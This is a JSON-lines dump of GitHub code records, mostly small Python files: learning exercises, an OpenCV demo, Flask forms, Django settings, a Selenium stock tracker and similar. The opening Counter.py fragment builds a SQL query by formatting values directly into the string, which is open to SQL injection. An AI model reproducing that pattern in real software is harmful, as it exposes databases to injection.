clientId:\n            return str(clientId) if clientId else ''\n        stmt = 'SELECT `identifier` FROM ClientIdentification JOIN rbAccountingSystem ON rbAccountingSystem.`id`=ClientIdentification.`accountingSystem_id` WHERE ClientIdentification.`client_id`=%d AND rbAccountingSystem.`code`=\\'%s\\'' %(clientId, val)\n        query = QtGui.qApp.db.query(stmt)\n        if query.first():\n            return forceString(query.value(0))\n        return None\n\n    def getStrAddition(val):\n        return val\n\n    def getPre_Post_fixValue(ppValue):\n        prefixTypes = {'date':getDatePrefix, 'id':getIdPrefix, 'str':getStrAddition}\n        prefixList = ppValue.split(';')\n        result = []\n        for p in prefixList:\n            for t in prefixTypes:\n                f = p.find(t)\n                if f == 0:\n                    tl = len(t)\n                    val = p[tl:]\n                    if val.startswith('(') and val.endswith(')'):\n                        val = prefixTypes[t](val.replace('(', '').replace(')', ''))\n                        if val:\n                            result.append(val)\n        return result\n    prefix  = getPre_Post_fixValue(prefix)  if prefix  else []\n    postfix = getPre_Post_fixValue(postfix) if postfix else []\n    return separator.join(prefix+['%d'%value]+postfix)\n","repo_name":"dio4/vista_1","sub_path":"library/Counter.py","file_name":"Counter.py","file_ext":"py","file_size_in_byte":5106,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"18302815843","text":"import random\nfrom turtle import Screen\nimport turtle as t\n\ntim = t.Turtle()\ntim.shape(\"turtle\")\ntim.color(\"red\")\n\n\nt.colormode(255)\n\n\ndef random_color():\n    r = random.randint(0, 255)\n    g = random.randint(0, 255)\n    b = random.randint(0, 255)\n    color = (r, g, b)\n    return color\n\n\ndirections = [0, 90, 180, 270]\n\n\nfor i in range(100):\n    tim.pensize(10)\n    tim.forward(20)\n    tim.speed(\"fastest\")\n    tim.setheading(random.choice(directions))\n    tim.color(random_color())\n\n\nscreen = Screen()\nscreen.exitonclick()","repo_name":"munibdalati/PythonCourse","sub_path":"Day18-start/challenge4.py","file_name":"challenge4.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14509251408","text":"import cv2\r\nimport numpy as np\r\n\r\nimg_ori = cv2.imread(\"pic/cst.jpg\")\r\nimg_gray = cv2.cvtColor(img_ori, cv2.COLOR_BGR2GRAY)\r\nret, img_binary = cv2.threshold(img_gray, 119, 255, cv2.THRESH_BINARY_INV)\r\ncv2.imshow(\"bin\", img_binary)\r\n\r\ncircles = cv2.HoughCircles(img_binary, cv2.HOUGH_GRADIENT, 1, 40, param1=30, param2=30, minRadius=0)\r\ncircles_2 = circles[0, :, :]\r\ncircles_2 = np.uint16(np.around(circles_2))\r\n\r\n\r\nfor circle in circles_2:\r\n    # draw the outer circle\r\n    cv2.circle(img_ori,(circle[0], circle[1]), circle[2],(0,255,0),2)\r\n    # draw the center of the circle\r\n    # cv.circle(img_ori,(i[0],i[1]),2,(0,0,255),3)\r\n\r\ncv2.imshow(\"circle\", img_ori)\r\n\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows","repo_name":"sean0505tsai/Multi_Media_2021s","sub_path":"Project3/code/circle.py","file_name":"circle.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"5619471218","text":"import VideoCapture\n\nfrom abstractCamera import CameraBase\n\n\nclass Camera(CameraBase):\n    def __init__(self):\n        super(Camera, self).__init__()\n\n    def save_snapshot(self):\n        first_snapshot = {\"success\": True}\n        second_snapshot = {\"success\": True}\n\n        try:\n            cam = VideoCapture.Device(devnum=int(self.primary_camera))\n            cam.getImage().save(self.primary_camera_image_path)\n            del cam\n        except Exception as e:\n            first_snapshot[\"success\"] = False\n\n        try:\n            cam = VideoCapture.Device(devnum=int(self.secondary_camera))\n            cam.getImage().save(self.secondary_camera_image_path)\n            del cam\n        except Exception as e:\n            second_snapshot[\"success\"] = False\n\n        return first_snapshot, second_snapshot\n","repo_name":"ehmadzubair/camera-monitor","sub_path":"lib/videoCaptureLib.py","file_name":"videoCaptureLib.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"17682582588","text":"# Problem Link: https://leetcode.com/problems/wiggle-sort-ii/\n\n'''\n문제 요약: 숫자 배열을 wiggle방식으로 정렬하는 문제. (위글은 [1,2,1,2,1,2] 처럼 큰값, 작은값 혹은 작은값, 큰값 순으로 정렬됨을 말함)\nask: [1,5,1,1,6,4]\nanswer: [1,6,1,5,1,4] ([1,4,1,5,1,6]도 가능)\n\n해석:\nFirst Try\n공간복잡도를 O(1)로 할수 있지 않을까하고 시도해본 방법.\n토글을 설정해 처음엔 앞쪽에 값이 작아야하고, pointer 1증가한 다음엔 앞쪽의 값이 커야하는 방식으로 구현을 해봄.\n대부분의 케이스에서 다 수행되나, 같은수가 연속적으로 존재하면 해결이 불가능.\n\nSecond Try\n물론 저 방법을 응용하면 해결가능할것 같았지만 그냥 리셋하고 새로 구현해봄.\n이번엔 O(n)의 스페이스를 사용하기로 결정. (배열에 들어오는 숫자가 5000 이하걸 활용함)\n배열안에 존재하는 숫자들을 cnt배열에 카운팅. (5000이하라 가능함)\n그리고 카운팅 배열의 역순으로(큰값들) odd부터 쭉 채워나감. odd가 끝났다면 even이 채워지게끔 구현.\n이러면 큰수는 odd에 작은수는 even에 채워져 위글정렬이 완성됨.\n'''\n\nclass Solution:\n    def wiggleSort(self, nums: List[int]) -> None:\n        \"\"\"\n        Do not return anything, modify nums in-place instead.\n        \"\"\"\n        n_len = len(nums)\n        cnt = [0] * 5001\n        for n in nums:\n            cnt[n] += 1\n        odd, even = 1, 0\n        for i in reversed(range(5001)):\n            if odd >= n_len and even >= n_len:\n                break\n            while cnt[i]:\n                cnt[i] -= 1\n                if odd < n_len:\n                    nums[odd] = i\n                    odd += 2\n                elif even < n_len:\n                    nums[even] = i\n                    even += 2","repo_name":"junghyun4425/myleetcode","sub_path":"medium/Wiggle_Sort2.py","file_name":"Wiggle_Sort2.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"2218331994","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport time\nimport requests\n\n\n# Telegram alert\ndef telegram_bot_send_text(bot_message):\n    bot_token = \"INSERT BOT_TOKEN\"\n    bot_chatID = \"INSERT CHATID\"\n    send_text = 'https://api.telegram.org/bot' + bot_token + '/sendMessage?chat_id=' + bot_chatID \\\n                + '&parse_mode=Markdown&text=' + bot_message\n\n    bot_response = requests.get(send_text)\n    return bot_response.json()\n\n\nbrowser = webdriver.Chrome(\"INSERT CHROME DRIVER PATH\")\n# Product page\nbrowser.get(\"https://www.bestbuy.ca/en-ca/product/nvidia-geforce-rtx-3080-10gb-gddr6x-video-card/15463567\")\n\n# Continuous tracking\nin_stock = False\nwhile not in_stock:\n    current_stock = browser.find_element(By.XPATH,\n                                         value='//*[@id=\"root\"]/div/div[3]/div[2]/div[1]/div[2]/div[2]/div[3]/div/div[1]/div[1]/p/span').text\n    if current_stock == 'Sold out online':\n        browser.implicitly_wait(10)\n        browser.refresh()\n    elif current_stock == 'Available to ship':\n        # Send alert\n        product_name = browser.find_element(By.XPATH, value='//*[@id=\"root\"]/div/div[3]/h1').text\n        telegram_bot_send_text(f'🚨 {product_name} is available to ship:\\n{browser.current_url}')\n        time.sleep(60)\n        browser.refresh()\n","repo_name":"phillipai/bestbuy-product-availability-tracker-selenium","sub_path":"tracker.py","file_name":"tracker.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72237954809","text":"'''\nForms for AMPT Manager\n\n'''\nfrom flask_wtf import FlaskForm\nfrom wtforms import (Form, BooleanField, StringField, IntegerField,\n                     PasswordField, DecimalField)\nfrom wtforms import SelectField, SubmitField, DateTimeField\nfrom wtforms.validators import (InputRequired, IPAddress, NumberRange, required)\n\nfrom .. import settings\nfrom ..db.models import PROBE_PROTOCOLS, LOG_PROBE_PROTOCOLS, MONITOR_TYPES\nfrom .validators import VerifiedHMAC, VerifiedCounter\n\n\n__all__ = ['LoginForm', 'MonitoredSegmentCreateModifyForm',\n           'EventMonitorCreateModifyForm', 'ProbeGeneratorCreateModifyForm',\n           'AMPTObjectDeleteForm', 'ReceivedProbeLogForm']\n\n\nclass LoginForm(FlaskForm):\n    username = StringField('Username', validators=[InputRequired()])\n    password = PasswordField('Password',\n                             validators=[InputRequired()])\n\n\nclass MonitoredSegmentCreateModifyForm(FlaskForm):\n    name = StringField(\n        'Segment Name',\n        [InputRequired()],\n        description='Name of monitored segment',\n        render_kw={'autofocus': 'autofocus'})\n    description = StringField(\n        'Description',\n        [InputRequired()],\n        description='Description of monitored segment',\n        render_kw={'size': 45})\n    dest_addr = StringField(\n        'Destination Address',\n        [InputRequired(), IPAddress()],\n        description='Destination IP address for target of probe packet',\n        render_kw={'size': 15})\n    dest_port = IntegerField(\n        'Destination Port',\n        [InputRequired(), NumberRange(0, 65535)],\n        description='Destination port for target of probe packet',\n        render_kw={'size': 5})\n    protocol = SelectField(\n        'Protocol',\n        [InputRequired()],\n        choices=PROBE_PROTOCOLS,\n        description='IP protocol for probe packet')\n    # Uses a `choices` keyword, but this is set in the view handler.\n    # https://wtforms.readthedocs.io/en/2.3.x/fields/#wtforms.fields.SelectField\n    generator = SelectField(\n        'Probe Generator',\n        [InputRequired(), NumberRange(1)],\n        description='Generator from which to emit probe packet',\n        coerce=int)\n    active = BooleanField(\n        'Enable Segment',\n        default=True)\n\n\nclass EventMonitorCreateModifyForm(FlaskForm):\n    hostname = StringField(\n        'Hostname',\n        [InputRequired()],\n        description='Hostname of event monitor node',\n        render_kw={'autofocus': 'autofocus'})\n    description = StringField(\n        'Description',\n        [InputRequired()],\n        description='Description of event monitor system',\n        render_kw={'size': 45})\n    type = SelectField(\n        'Monitor Type',\n        [required()],\n        choices=MONITOR_TYPES,\n        description='Type of Monitor')\n    auth_key = StringField(\n        'Auth Key',\n        [InputRequired()],\n        description='Authentication key for monitor node',\n        render_kw={'size': 35})\n    active = BooleanField(\n        'Enable Monitor',\n        default=True)\n\n\nclass ProbeGeneratorCreateModifyForm(FlaskForm):\n    name = StringField(\n        'Name',\n        [InputRequired()],\n        description='Name of probe generator',\n        render_kw={'autofocus': 'autofocus'})\n    address = StringField(\n        'Address',\n        [InputRequired()],\n        description='Address (hostname or IP) of generator node',\n        render_kw={'size': 35})\n    port = IntegerField(\n        'Port',\n        [InputRequired(), NumberRange(0, 65535)],\n        default=settings.probe_generator_default_port,\n        description='Listener port for probe generator',\n        render_kw={'size': 5})\n    auth_key = StringField(\n        'Auth Key',\n        [InputRequired()],\n        description='Authentication key for generator node',\n        render_kw={'size': 35})\n    active = BooleanField(\n        'Enable Generator',\n        default=True)\n\n\nclass AMPTObjectDeleteForm(FlaskForm):\n    submitted = SubmitField('Delete Me')\n\n\nclass ReceivedProbeLogForm(FlaskForm):\n    # Form functions as a data submission endpoint so no CSRF needed\n    class Meta:\n        csrf = False\n\n    monitor = IntegerField(\n        'Event Monitor',\n        [InputRequired(), NumberRange(1)],\n        description='Monitor which delivered probe event')\n    src_addr = StringField(\n        'Source IP',\n        [InputRequired(), IPAddress()],\n        description='Source IP in observed probe packet')\n    dest_addr = StringField(\n        'Destination IP',\n        [InputRequired(), IPAddress()],\n        description='Destination IP in observed probe packet')\n    src_port = IntegerField(\n        'Source Port',\n        [InputRequired(), NumberRange(0, 65535)],\n        description='Source port in observed probe packet')\n    dest_port = IntegerField(\n        'Destination Port',\n        [InputRequired(), NumberRange(0, 65535)],\n        description='Destination port in observed probe packet')\n    protocol = SelectField(\n        'Protocol',\n        [InputRequired()],\n        choices=LOG_PROBE_PROTOCOLS,\n        description='IP protocol in observed probe packet')\n    alert_time = DateTimeField(\n        'Alert Time',\n        [InputRequired()],\n        format='%Y-%m-%dT%H:%M:%S',\n        description='Timestamp of probe alert on remote sensor')\n    hostname = StringField(\n        'Monitor Hostname',\n        [InputRequired()],\n        description='Hostname of remote AMPT monitor')\n    plugin_name = StringField(\n        'Monitor Plugin Name',\n        [InputRequired()],\n        description='Name of plugin handling event on remote AMPT monitor')\n    h = StringField(\n        'HMAC Digest',\n        [InputRequired(), VerifiedHMAC(exclude_fields=['h'])],\n        description='HMAC digest of received log message')\n    ts = StringField(\n        'Timestamp Counter',\n        [InputRequired(), VerifiedCounter()],\n        description='Timestamp counter for received log message')\n\n\n","repo_name":"nids-io/ampt-manager","sub_path":"ampt_manager/web/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":5898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38222082849","text":"'''Given the root of a binary tree, determine if it is a valid binary search tree (BST).\n\nA valid BST is defined as follows:\n\nThe left \nsubtree\n of a node contains only nodes with keys less than the node's key.\nThe right subtree of a node contains only nodes with keys greater than the node's key.\nBoth the left and right subtrees must also be binary search trees.\n\nInput: root = [5,1,4,null,null,3,6]\nOutput: false\nExplanation: The root node's value is 5 but its right child's value is 4.'''\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution(object):\n    # keeping track of min and max of each sub-tree\n    def check_valid_soln2(self, root):\n        if not root:\n            return True, 2e+31, -2e31\n\n        left_balanced, min_l, max_l = self.check_valid(root.left)\n        right_balanced, min_r, max_r = self.check_valid(root.right)\n\n        # validating left and right subtree w.r.t to root\n        left_correct = not root.left or (root.left and root.val>max_l)\n        right_correct =  not root.right or (root.right and root.val<min_r)\n\n\n        if left_balanced and left_correct and right_balanced and right_correct:\n            return True, min(root.val, min_l, min_r), max(root.val, max_l, max_r)\n        else:\n            return False, min(root.val, min_l, min_r), max(root.val, max_l, max_r)\n\n    # passing ranges of min and max values as part of function\n    # alternative way to implement but same idea\n    def check_valid_soln1(self, root, min_val, max_val):\n        if not root:\n            return True\n        \n        left_valid = self.check_valid_soln1(root.left, min_val, root.val)\n        right_valid = self.check_valid_soln1(root.right, root.val, max_val)\n        root_valid = root.val>min_val and root.val<max_val\n\n        # check validity with root\n        if left_valid and right_valid and root_valid:\n            return True\n        else:\n            return False\n\n\n    def isValidBST(self, root):\n        \"\"\"\n        :type root: TreeNode\n        :rtype: bool\n        \"\"\"\n        \n        valid = self.check_valid_soln1(root, -2e+31, +2e+31)\n        return valid","repo_name":"edwinthomas444/data-structures-algorithms","sub_path":"binary_search_tree/validate_bst.py","file_name":"validate_bst.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38399310923","text":"# import sys\n# 그냥 입력받으니 에러발생해서 encoding 방식 변경\n# sys.stdin = open('input.txt', 'rt', encoding='UTF8')\n\nfor _ in range(10):\n    tc = input()\n    target = input()\n    data = input()\n\n    ans = data.count(target)\n    print(\"#{} {}\".format(tc, ans))\n","repo_name":"LeeSungRyul/TIL","sub_path":"Algorithm/SWEA/D3/1213_d3_String.py","file_name":"1213_d3_String.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73804194488","text":"# create a list and add pet type values to it\npets = ['dog', 'cat', 'dog', 'goldfish', 'cat', 'rabbit', 'cat']\n# print the pets list\nprint(pets)\n\n# create while loop that continues while the value of cat is in the pets list\nwhile 'cat' in pets:\n    # remove each value of cat while iterating through the list\n    pets.remove('cat')\n\n# print the list and see no cat values exist anymore\nprint(pets)","repo_name":"Flipswxtch/Python-Crash-Course","sub_path":"Chapter 7/remove_all_instances_of_value_in_list.py","file_name":"remove_all_instances_of_value_in_list.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21166339712","text":"from cobiro.settings.base import *  # pylint: disable=W291,E202\n\nDEBUG = True\nTEMPLATE_DEBUG = True\n\nVAR_ROOT = '/var/www/cobiro.com'\nMEDIA_ROOT = os.path.join(VAR_ROOT, 'uploads')\nSTATIC_ROOT = os.path.join(VAR_ROOT, 'static')\n\nDATABASES = {\n    'default': {\n        'ENGINE': 'django.db.backends.postgresql_psycopg2',\n        'NAME': 'cobiro',\n        #'USER': 'db_user',\n        #'PASSWORD': 'db_password',\n        #'PORT': 'port',\n        #'HOST': 'localhost',\n    }\n}\n\n# WSGI_APPLICATION = 'cobiro.wsgi.dev.application'\n","repo_name":"ernestjumbe/cobiro-test","sub_path":"cobiro/settings/dev.py","file_name":"dev.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"16392660339","text":"from tkinter import *\nfrom math import *\nclass CHART:\n    def __init__(self,parent,data,width=500,height=400):\n        self.win=Canvas(parent,width=width,height=height,bg=\"white\")\n        self.__width=width\n        self.__height=height\n        self.__padding=20\n        self.__radius=(min(width,height)-2*self.__padding)/2\n        self.raw_data=[x[0] for x in data]\n        self.labels=[x[1] for x in data]\n        self.colors=[x[2] for x in data]\n        self.data=self.calcNomalizedData()\n        self.draw()\n    def calcNomalizedData(self):\n        return [360*x/sum(self.raw_data) for x in self.raw_data]\n    def draw(self):\n        self.__drawWedges()\n        self.__writeLabels()\n    def __drawWedges(self):\n        self.win.delete('slice')\n        cx,cy,r=self.__width/2 ,self.__height/2,self.__radius\n        start=0\n        for i in range(len(self.data)):\n            self.win.create_arc(cx-r,cy-r,cx+r,cy+r,\n                            start=start,extent=self.data[i],\n                            fill=self.colors[i],tags='slice')\n            start+=self.data[i]\n    def __writeLabels(self):\n        self.win.delete('label')\n        cx,cy,r=self.__width/2 ,self.__height/2,self.__radius\n        wedge_r=2*r/3\n        start=0\n        for i in range(len(self.data)):\n            x=cy+wedge_r*cos(radians(start+self.data[i]/2))\n            y=cy-wedge_r*sin(radians(start+self.data[i]/2))\n            self.win.create_text(x,y,text=self.labels[i],\n                             font=('Courier',10,'normal'),tags='label')\n            start+=self.data[i]\n    def setData(self,data):\n        self.raw_data=[x[0] for x in data]\n        self.labels=[x[1] for x in data]\n        self.colors=[x[2] for x in data]\n        self.data=self.calcNormalizedData()\ndef main():\n    data1=[[40,\"CS\",\"red\"],[30,\"IS\",\"blue\"],[50,\"IT\",\"yellow\"],]\n    data2=[[140,\"Freshman\",\"red\"],[130,\"Sophomore\",\"blue\"],[150,\"Junior\",\"yellow\"],[80,\"Senior\",\"green\"]]\n    win=Tk()\n    win.title(\"Pie Chart\")\n    chart1=CHART(win,data1)\n    chart2=CHART(win,data2)\n    chart1.win.pack(side=LEFT)\n    chart2.win.pack(side=LEFT)\n    win.mainloop()\n\nmain()\n","repo_name":"calmwalter/python_homework","sub_path":"final_exam/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"5564116448","text":"from .claspy import *\nfrom . import utils\nfrom .utils import borders\nfrom .utils.borders import Direction\n\ndef encode(string):\n    return utils.encode(string, has_borders = True)\n\ndef solve(E):\n    rooms = utils.regions.full_bfs(E.R, E.C, E.edges, E.clues)\n\n    shading_solver = utils.RectangularGridShadingSolver(E.R, E.C)\n    shading_solver.no_adjacent()\n    shading_solver.white_connectivity()\n    region_solver = utils.RectangularGridRegionSolver(E.R, E.C,\n                        shading_solver.grid, given_regions = rooms)\n    region_solver.set_shaded_cells_in_region(E.clues, [True])\n\n    for r in range(E.R):\n        borders_in_row = [c for c in range(1,E.C) if (r,c,Direction.LEFT) in E.edges]\n        # for each pair of consecutive borders, we get a constraint:\n        # at least one cell in this span has to be shaded\n        for i in range(len(borders_in_row)-1):\n            b1, b2 = borders_in_row[i], borders_in_row[i+1]\n            x = BoolVar(False)\n            for c in range(b1-1,b2+1):\n                x |= shading_solver.grid[r][c]\n            require(x)\n\n    for c in range(E.C):\n        borders_in_col = [r for r in range(1,E.R) if (r,c,Direction.TOP) in E.edges]\n        for i in range(len(borders_in_col)-1):\n            b1, b2 = borders_in_col[i], borders_in_col[i+1]\n            x = BoolVar(False)\n            for r in range(b1-1,b2+1):\n                x |= shading_solver.grid[r][c]\n            require(x)\n    \n    return shading_solver.solutions(shaded_color = 'darkgray')\n\ndef decode(solutions):\n    return utils.decode(solutions)","repo_name":"mstang107/noq","sub_path":"solvers/heyawake.py","file_name":"heyawake.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"42841706045","text":"import pandas as pd \nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score, classification_report, confusion_matrix\n\ndataset=pd.read_excel(\"city-of-bloomington-data/MLProject.xlsx\")\n\nds=dataset.drop([\"Primary Factor\",\"Master Record Number\",\"Collision Date\", \"Collision Time\",\"Damage Estimate\"],axis=1)\nY=dataset[\"Primary Factor\"]\n\nfrom sklearn.preprocessing import LabelEncoder \nfrom sklearn.preprocessing import LabelBinarizer\nX1=ds['Township']\nX2=ds['Roadway Junction Type']\nX3=ds['Surface Condition']\nX4=ds['Light Condition']\n\nle= LabelEncoder()\nY=dataset[\"Primary Factor\"]=le.fit_transform(dataset[\"Primary Factor\"])\n#y = LabelBinarizer().fit_transform(df.Countries)\nX1New = le.fit_transform(X1)\nX1New = X1New.reshape(-1,1)\nX2New = le.fit_transform(X2)\nX2New = X2New.reshape(-1,1)\nX3New = le.fit_transform(X3)\nX3New = X3New.reshape(-1,1)\nX4New = le.fit_transform(X4)\nX4New = X4New.reshape(-1,1)\n\nv=np.asarray(ds['Vehicles Involved'])\nv = v.reshape(-1,1)\nconcatinated=np.concatenate((X1New,X2New,X3New,X4New,v),axis=1)\nds= pd.DataFrame(concatinated)\n\ntraindata,testdata,trainlabel,testlabel=train_test_split(ds,Y,test_size=0.33,random_state=0)\n\nimport xgboost as xgb\nimport time\ndebut=time.time()\nmodel = xgb.XGBRegressor(max_depth=25,learning_rate=0.5)\nmodel.fit(traindata,trainlabel)\ntemps=time.time()-debut\npred=model.predict(testdata)\npred=pred.reshape(-1,1)\n\nfrom sklearn.metrics import mean_squared_error\nimport math\n\nmse = mean_squared_error(testlabel,pred)\n\nprint('RMSE',math.sqrt(mse))\n\nfrom sklearn.metrics import r2_score\nr=r2_score(testlabel,pred)\nprint(r)\nfrom sklearn.metrics import explained_variance_score\nEV=explained_variance_score(testlabel,pred)\nprint(\"Explained variance: %f\" %(EV))\n","repo_name":"Anouar0000/Analysis-of-the-accidents-in-Bloomington-city-year-2019","sub_path":"XGBoost.py","file_name":"XGBoost.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"73795591608","text":"from __future__ import absolute_import\n\nimport logging\n\nfrom sentry.utils.safe import safe_execute\nfrom sentry.tasks.base import instrumented_task\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_activity_notifiers(project):\n    from sentry.plugins.bases.notify import NotificationPlugin\n    from sentry.plugins import plugins\n\n    results = []\n    for plugin in plugins.for_project(project, version=1):\n        if isinstance(plugin, NotificationPlugin):\n            results.append(plugin)\n\n    for plugin in plugins.for_project(project, version=2):\n        for notifier in (safe_execute(plugin.get_notifiers) or ()):\n            results.append(notifier)\n\n    return results\n\n\n@instrumented_task(\n    name='sentry.tasks.activity.send_activity_notifications')\ndef send_activity_notifications(activity_id):\n    from sentry.models import Activity\n\n    try:\n        activity = Activity.objects.get(pk=activity_id)\n    except Activity.DoesNotExist:\n        return\n\n    for notifier in get_activity_notifiers(activity.project):\n        notifier.notify_about_activity(activity)\n","repo_name":"NetEaseGame/Sentry","sub_path":"src/sentry/tasks/activity.py","file_name":"activity.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"77"}
+{"seq_id":"35261522647","text":"\"\"\"\nThis file (test_recipes.py) contains the functional tests for the `recipes` blueprint.\n\"\"\"\n\n\ndef test_get_home_page(test_client):\n    \"\"\"\n    GIVEN a Flask application configured for testing\n    WHEN the '/' page is requested (GET)\n    THEN check the response is valid\n    \"\"\"\n    header_items = [\n        b\"Unseen University\",\n        b\"Wizardry Unclasses\",\n        b\"Improbability Blog\",\n        b\"About\",\n        b\"Register\",\n    ]\n    response = test_client.get(\"/\")\n    assert response.status_code == 200\n    for header_item in header_items:\n        assert header_item in response.data\n","repo_name":"tymyrddin/flask-uu","sub_path":"tests/functional/test_recipes.py","file_name":"test_recipes.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29454415329","text":"#adivina la palabra\nimport random\nlista_de_palabras = [\"piano\", \"guitarra\", \"decodificar\", \"automovil\", \"matematicas\", \"avioneta\", \"computador\", \"programacion\", \"atardecer\", \"ciudad\", \"velocidad\", \"lujos\", \"bateria\", \"partitura\", \"videojuego\", \"amigos\", \"destruccion\", \"lepidoptero\"]\npalabra_secreta = random.choice(lista_de_palabras)\nintentos = 7\ncantidad = random.randint(3, len(palabra_secreta))\n\ndef ocultar_letras(palabra,cantidad):\n    posicion = random.randint(1, len(palabra))\n    caracter = \"_\"\n    cantidad = cantidad\n    while cantidad > 0:\n        posicion = random.randint(1, len(palabra))\n        palabra = palabra[:posicion] + caracter + palabra[posicion+1:]\n        cantidad -= 1\n    return palabra\n\ndef revisar_letra(palabra_secreta, palabra, letra):\n    letra = letra\n    for i in range(1, len(palabra_secreta)):\n        if palabra_secreta[i] == letra:\n            palabra = palabra.replace(\"_\", letra)\n    return palabra\n\nprint(\"Bienvenido a adivina la palabra.\")\nprint(\"Intenta adivinar la palabra completa o intenta letra por letra\")\npalabra_secreta_oculta = ocultar_letras(palabra_secreta, cantidad)\nprint(\"Tu palabra es:\", palabra_secreta_oculta)\n\nwhile intentos > 0:\n    \n    guess = str(input(\"Adivina la palabra: \"))\n    guess = revisar_letra(palabra_secreta, palabra_secreta_oculta, guess)\n    intentos -= 1\n    print(guess)\n    \n    \nif guess == palabra_secreta:\n    intentos = 0\n    print(\"Ganaste! La palabra era:\", palabra_secreta)\nelif \"_\" not in palabra_secreta:\n    intentos = 0\n    print(\"Ganaste! La palabra era:\", palabra_secreta)\n    \nprint(\"Perdiste :(. La palabra era:\", palabra_secreta)\n","repo_name":"pabloschwarzenberg/grader","sub_path":"tema4_ej1/tema4_ej1_62448f601f7361f67647a6e128b47653.py","file_name":"tema4_ej1_62448f601f7361f67647a6e128b47653.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25644977096","text":"from app import db\n\nclass Invitation(db.Model):\n    __tablename__ = 'invitation'\n\n    id = db.Column('InvitationID', db.Integer, primary_key=True, autoincrement=True)\n    meeting_id = db.Column('MeetingID', db.Integer, db.ForeignKey('meeting.MeetingID'))\n    person_id = db.Column('PersonID', db.Integer, db.ForeignKey('person.PersonID'))\n    role_id = db.Column('RoleID', db.Integer, db.ForeignKey('role.RoleID'))\n    status = db.Column('Status', db.Enum('Required', 'Optional'))\n\n\n    meeting = db.relationship('Meeting', backref=db.backref('invitations', lazy=True))\n    person = db.relationship('Person', backref=db.backref('invitations', lazy=True))\n    role = db.relationship('Role', backref=db.backref('invitations', lazy=True))\n\n    \n\n    \n\n    def __init__(self, meeting_id, person_id, role_id, status):\n        self.meeting_id = meeting_id\n        self.person_id = person_id\n        self.role_id = role_id\n        self.status = status\n    \n    @classmethod\n    def get_by_id(cls, id):\n        return cls.query.filter_by(id=id).first()\n    \n    def to_dict(self):\n     return {\n        'id': self.id,\n        'meeting_id': self.meeting_id,\n        'title': self.meeting.title if self.meeting else None,\n        'person_id': self.person_id,\n        'email': self.person.email if self.person else None,\n        'role_id': self.role_id,\n        'role_name': self.role.role_name if self.role else None,\n        'status': self.status if self.status else None\n    }\n\n    \n    def update(self, data):\n        self.meeting_id = data.get('meeting_id', self.meeting_id)\n        self.person_id = data.get('person_id', self.person_id)\n        self.role_id = data.get('role_id', self.role_id)\n        self.status = data.get('status', self.status)","repo_name":"oussamakhadhraoui/ArchimasterEngagementInsights","sub_path":"app/models/invitation.py","file_name":"invitation.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21858608412","text":"import motor.motor_asyncio\r\n\r\nfrom settings import DATABASE_URL\r\nfrom schemas import TransactionBase\r\n\r\nclient = motor.motor_asyncio.AsyncIOMotorClient(DATABASE_URL)\r\n\r\ndb = client.trade_collection\r\ncollection = db.trades\r\n\r\n\r\nclass DatabaseHandler:\r\n\r\n    def __init__(self):\r\n\r\n        self.db = db\r\n        self.collection = collection\r\n\r\n    async def add_trade_to_db(self, transaction: TransactionBase) -> None:\r\n\r\n        count = await self.collection.count_documents(transaction.__dict__)\r\n\r\n        if count == 0:\r\n\r\n            await self.collection.insert_one(transaction.__dict__)\r\n","repo_name":"Nightcrawler2114/trade-collector","sub_path":"app/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
